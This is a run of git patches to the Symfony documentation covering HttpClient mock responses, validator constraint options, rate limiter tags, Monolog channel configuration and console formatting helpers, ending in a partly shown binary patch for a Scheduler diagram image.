+    method was introduced in Symfony 7.1.
+
 Another way of using :class:`Symfony\\Component\\HttpClient\\MockHttpClient` is to
 pass a callback that generates the responses dynamically when it's called::
 
@@ -2079,6 +2093,19 @@ You can use :class:`Symfony\\Component\\HttpClient\\Response\\JsonMockResponse`
         'foo' => 'bar',
     ]);
 
+Just like :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse`, you can
+also create a :class:`Symfony\\Component\\HttpClient\\Response\\JsonMockResponse`
+directly from a file::
+
+    use Symfony\Component\HttpClient\Response\JsonMockResponse;
+
+    $response = JsonMockResponse::fromFile('tests/fixtures/response.json');
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\HttpClient\\Response\\JsonMockResponse::fromFile`
+    method was introduced in Symfony 7.1.
+
 Testing Request Data
 ~~~~~~~~~~~~~~~~~~~~
 

From ebca2e951f725e7547d22016f97d91b54f4bf97a Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Tue, 19 Dec 2023 03:23:24 +0100
Subject: [PATCH 4190/5766] Update asset_mapper.rst

Fix #19311
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 42179fae32d..4fa670cb6f2 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1042,7 +1042,7 @@ both ``app`` and ``checkout``:
     {% block importmap %}
         {# do NOT call parent() #}
 
-        {{ importmap('app', 'checkout') }}
+        {{ importmap(['app', 'checkout']) }}
     {% endblock %}
 
 By passing both ``app`` and ``checkout``, the ``importmap()`` function will

From 66b166258d125834071166ec5de51b47ce9a9b73 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 19 Dec 2023 11:36:01 +0100
Subject: [PATCH 4191/5766] [Constraints] Update `callback` argument type

---
 reference/constraints/Choice.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 8e3b11a01ce..70e5814470f 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -262,7 +262,7 @@ Available Options
 ``callback``
 ~~~~~~~~~~~~
 
-**type**: ``string|array|Closure``
+**type**: ``callable|string|null`` **default**: ``null``
 
 This is a callback method that can be used instead of the `choices`_ option
 to return the choices array. See

From 8af822aac89757f2d5db272a70765479e62fd032 Mon Sep 17 00:00:00 2001
From: Yohann Tilotti <contact@yneet.com>
Date: Tue, 19 Dec 2023 18:49:38 +0100
Subject: [PATCH 4192/5766] Fix comma fopen http_client

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 614f9279f35..90718e9e45b 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -619,7 +619,7 @@ A generator or any ``Traversable`` can also be used instead of a closure.
 
 To submit a form with file uploads, pass the file handle to the ``body`` option::
 
-    $fileHandle = fopen('/path/to/the/file' 'r');
+    $fileHandle = fopen('/path/to/the/file', 'r');
     $client->request('POST', 'https://...', ['body' => ['the_file' => $fileHandle]]);
 
 By default, this code will populate the filename and content-type with the data

From cd92145100986e2dca28008691150948ff4f2c2e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 19 Dec 2023 20:24:42 +0100
Subject: [PATCH 4193/5766] -

---
 components/lock.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 37267a4cbb7..8664f572c64 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -518,8 +518,8 @@ MongoDB Connection String:
 PdoStore
 ~~~~~~~~
 
-The PdoStore saves locks in an SQL database. It requires a `PDO`_ connection or a `Data Source Name (DSN)`_. This store does not
-support blocking, and expects a TTL to avoid stalled locks::
+The PdoStore saves locks in an SQL database. It requires a `PDO`_ connection or a `Data Source Name (DSN)`_.
+This store does not support blocking, and expects a TTL to avoid stalled locks::
 
     use Symfony\Component\Lock\Store\PdoStore;
 

From b89fb23bdd9ed4b8607d69d287cd6136f9d0fbcc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 19 Dec 2023 20:51:02 +0100
Subject: [PATCH 4194/5766] [FrameworkBundle][RateLimiter] Add `rate_limiter`
 tag to rate limiter services

---
 rate_limiter.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 7453e1e70bc..8c667dd3f59 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -215,6 +215,16 @@ at a rate of another 500 requests every 15 minutes. If you don't make that
 number of requests, the unused ones don't accumulate (the ``limit`` option
 prevents that number from being higher than 5,000).
 
+.. tip::
+
+    All rate-limiters are tagged with the ``rate_limiter`` tag, so you can
+    easily find them with a tagged iterator or locator.
+
+    .. versionadded:: 7.1
+
+        The automatic addition of the ``rate_limiter`` tag was introduced
+        in Symfony 7.1.
+
 Rate Limiting in Action
 -----------------------
 

From e12c974d310d690472d9b67d062fa316dc2b5983 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 20 Dec 2023 08:49:58 +0100
Subject: [PATCH 4195/5766] [Validator] Add `list` and `associative_array`
 types to Type constraint

---
 reference/constraints/Type.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 1bb4035c7fd..b8f41fbd524 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -190,6 +190,11 @@ PHP class/interface or a valid PHP datatype (checked by PHP's ``is_()`` function
 * :phpfunction:`resource <is_resource>`
 * :phpfunction:`null <is_null>`
 
+If you're dealing with arrays, you can use the following types in the constraint:
+
+* ``list`` which uses :phpfunction:`array_is_list <array_is_list>` internally
+* ``associative_array`` which is true for any **non-empty** array that is not a list
+
 Also, you can use ``ctype_*()`` functions from corresponding
 `built-in PHP extension`_. Consider `a list of ctype functions`_:
 
@@ -208,6 +213,11 @@ Also, you can use ``ctype_*()`` functions from corresponding
 Make sure that the proper :phpfunction:`locale <setlocale>` is set before
 using one of these.
 
+.. versionadded:: 7.1
+
+    The ``list`` and ``associative_array`` types were introduced in Symfony
+    7.1.
+
 Finally, you can use aggregated functions:
 
 * ``number``: ``is_int || is_float && !is_nan``

From c7ac483dd76079af66756a35eb27ab401b72abd6 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 20 Dec 2023 09:14:11 +0100
Subject: [PATCH 4196/5766] fix typo

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 81e3b3068c9..530b2aeaf8f 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1907,7 +1907,7 @@ in order when requests are made::
 
 It is also possible to create a
 :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` directly
-from a file, which is particularly useful when storing your responses
+from a file, which is particularly useful when storing your response
 snapshots in files::
 
     use Symfony\Component\HttpClient\Response\MockResponse;

From 62aeccb52ec4ef5b6ea39aa0632c5c480ffda10d Mon Sep 17 00:00:00 2001
From: Alan ZARLI <azarli@milnr3.com>
Date: Mon, 18 Dec 2023 16:36:01 +0100
Subject: [PATCH 4197/5766] [Notifier] Add Smsbox notifier bridge

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index b57f501687d..a8f658cbe62 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -92,6 +92,7 @@ Service             Package                                DSN
 `Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 `Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
 `SmsBiuras`_        ``symfony/sms-biuras-notifier``        ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+`Smsbox`_           ``symfony/smsbox-notifier``            ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER``
 `Smsc`_             ``symfony/smsc-notifier``              ``smsc://LOGIN:PASSWORD@default?from=FROM``
 `SMSFactor`_        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 `SpotHit`_          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
@@ -245,7 +246,7 @@ Service                                  Package                               D
 
 .. versionadded:: 7.1
 
-    The ``Bluesky`` and ``Unifonic`` integrations were introduced in Symfony 7.1.
+    The ``Bluesky``, ``Unifonic`` and ``Smsbox`` integrations were introduced in Symfony 7.1.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 6eaf0d28c4a51d322a1f4dac9945cecf1c262d39 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Dec 2023 15:44:04 +0100
Subject: [PATCH 4198/5766] Minor tweak

---
 rate_limiter.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 8c667dd3f59..818660498a8 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -218,7 +218,8 @@ prevents that number from being higher than 5,000).
 .. tip::
 
     All rate-limiters are tagged with the ``rate_limiter`` tag, so you can
-    easily find them with a tagged iterator or locator.
+    find them with a :doc:`tagged iterator </service_container/tags>` or
+    :doc:`locator </service_container/service_subscribers_locators>`.
 
     .. versionadded:: 7.1
 

From b3ca593c46f690baa1a6ca04145c75c03f1093fa Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 18 Dec 2023 11:30:09 +0100
Subject: [PATCH 4199/5766] [Logger] Switching to more modern config format

---
 logging/channels_handlers.rst | 71 +++++++++++++++++++----------------
 1 file changed, 38 insertions(+), 33 deletions(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index b53c136b5bc..16bdbc5bfe1 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -23,27 +23,27 @@ Switching a Channel to a different Handler
 Now, suppose you want to log the ``security`` channel to a different file.
 To do this, create a new handler and configure it to log only messages
 from the ``security`` channel. The following example does that only in the
-``prod`` :ref:`configuration environment <configuration-environments>` but you
-can do it in any (or all) environments:
+``prod`` :ref:`configuration environment <configuration-environments>`:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/prod/monolog.yaml
-        monolog:
-            handlers:
-                security:
-                    # log all messages (since debug is the lowest level)
-                    level:    debug
-                    type:     stream
-                    path:     '%kernel.logs_dir%/security.log'
-                    channels: [security]
-
-                # an example of *not* logging security channel messages for this handler
-                main:
-                    # ...
-                    # channels: ['!security']
+        # config/packages/monolog.yaml
+        when@prod:
+            monolog:
+                handlers:
+                    security:
+                        # log all messages (since debug is the lowest level)
+                        level:    debug
+                        type:     stream
+                        path:     '%kernel.logs_dir%/security.log'
+                        channels: [security]
+
+                    # an example of *not* logging security channel messages for this handler
+                    main:
+                        # ...
+                        # channels: ['!security']
 
     .. code-block:: xml
 
@@ -56,12 +56,14 @@ can do it in any (or all) environments:
                 http://symfony.com/schema/dic/monolog
                 https://symfony.com/schema/dic/monolog/monolog-1.0.xsd">
 
-            <monolog:config>
-                <monolog:handler name="security" type="stream" path="%kernel.logs_dir%/security.log">
-                    <monolog:channels>
-                        <monolog:channel>security</monolog:channel>
-                    </monolog:channels>
-                </monolog:handler>
+            <when env="prod">
+                <monolog:config>
+                    <monolog:handler name="security" type="stream" path="%kernel.logs_dir%/security.log">
+                        <monolog:channels>
+                            <monolog:channel>security</monolog:channel>
+                        </monolog:channels>
+                    </monolog:handler>
+            </when>
 
                 <monolog:handler name="main" type="stream" path="%kernel.logs_dir%/main.log">
                     <!-- ... -->
@@ -75,18 +77,21 @@ can do it in any (or all) environments:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
-            $monolog->handler('security')
-                ->type('stream')
-                ->path('%kernel.logs_dir%/security.log')
-                ->channels()->elements(['security']);
+        return static function (MonologConfig $monolog, ContainerConfigurator $container) {
+            if ('prod' === $container->env()) {
+                $monolog->handler('security')
+                    ->type('stream')
+                    ->path(param('kernel.logs_dir') . \DIRECTORY_SEPARATOR . 'security.log')
+                    ->channels()->elements(['security']);
 
-            $monolog->handler('main')
-                 // ...
+                $monolog->handler('main')
+                     // ...
 
-                ->channels()->elements(['!security']);
+                    ->channels()->elements(['!security']);
+            }
         };
 
 .. caution::
@@ -131,13 +136,13 @@ You can also configure additional channels without the need to tag your services
 
     .. code-block:: yaml
 
-        # config/packages/prod/monolog.yaml
+        # config/packages/monolog.yaml
         monolog:
             channels: ['foo', 'bar', 'foo_bar']
 
     .. code-block:: xml
 
-        <!-- config/packages/prod/monolog.xml -->
+        <!-- config/packages/monolog.xml -->
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:monolog="http://symfony.com/schema/dic/monolog"
@@ -155,7 +160,7 @@ You can also configure additional channels without the need to tag your services
 
     .. code-block:: php
 
-        // config/packages/prod/monolog.php
+        // config/packages/monolog.php
         use Symfony\Config\MonologConfig;
 
         return static function (MonologConfig $monolog) {

From cbd8a8e1d28f6234f71222c876cbfb53bbf5906b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Dec 2023 16:08:35 +0100
Subject: [PATCH 4200/5766] Fix a code example

---
 logging/channels_handlers.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 16bdbc5bfe1..b2d4f31ad77 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -63,6 +63,7 @@ from the ``security`` channel. The following example does that only in the
                             <monolog:channel>security</monolog:channel>
                         </monolog:channels>
                     </monolog:handler>
+                </monolog:config>
             </when>
 
                 <monolog:handler name="main" type="stream" path="%kernel.logs_dir%/main.log">

From 66128f3dc36703f38f23762d1299de264960eb5f Mon Sep 17 00:00:00 2001
From: Louis-Arnaud <lacpandore@users.noreply.github.com>
Date: Tue, 12 Dec 2023 18:50:09 +0100
Subject: [PATCH 4201/5766] Update formatterhelper.rst

---
 .../console/helpers/formatterhelper.rst       | 25 +++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 135a5898778..5e4ae0d91fb 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -119,3 +119,28 @@ If you don't want to use suffix at all, pass an empty string::
     $truncatedMessage = $formatter->truncate('test', 10);
     // result: test
     // because length of the "test..." string is shorter than 10
+
+Formatting Time
+---------------
+
+Sometimes you want to format seconds to time. This is possible with the
+:method:`Symfony\\Component\\Console\\Helper\\Helper::formatTime` method.
+The first argument is the seconds to format and the second argument is the
+precision (default ``1``) of the result::
+
+    Helper::formatTime(42);        // 42 secs
+    Helper::formatTime(125);       // 2 mins
+    Helper::formatTime(125, 2);    // 2 mins, 5 secs
+    Helper::formatTime(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
+
+Formatting Memory
+-----------------
+
+Sometimes you want to format memory to GiB, MiB, KiB and B. This is possible with the
+:method:`Symfony\\Component\\Console\\Helper\\Helper::formatMemory` method.
+The only argument is the memory size to format::
+
+    Helper::formatMemory(512);                // 512 B
+    Helper::formatMemory(1024);               // 1 KiB
+    Helper::formatMemory(1024 * 1024);        // 1.0 MiB
+    Helper::formatMemory(1024 * 1024 * 1024); // 1 GiB

From b50df97ee21fb6123363deedd5019f88bc846ee1 Mon Sep 17 00:00:00 2001
From: Allison Guilhem <allison.guilhem@gmail.com>
Date: Sat, 9 Dec 2023 14:03:08 +0100
Subject: [PATCH 4202/5766] [Scheduler] Proposal - initial structure for
 Symfony Scheduler documentation

---
 _images/components/messenger/basic_cycle.png  | Bin 0 -> 91397 bytes
 .../components/scheduler/generate_consume.png | Bin 0 -> 103817 bytes
 .../components/scheduler/scheduler_cycle.png  | Bin 0 -> 159704 bytes
 scheduler.rst                                 | 378 ++++++++++++++++++
 4 files changed, 378 insertions(+)
 create mode 100644 _images/components/messenger/basic_cycle.png
 create mode 100644 _images/components/scheduler/generate_consume.png
 create mode 100644 _images/components/scheduler/scheduler_cycle.png
 create mode 100644 scheduler.rst

diff --git a/_images/components/messenger/basic_cycle.png b/_images/components/messenger/basic_cycle.png
new file mode 100644
index 0000000000000000000000000000000000000000..a0558968cbb477225c96d77a5093f63cb118521a
GIT binary patch
literal 91397
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
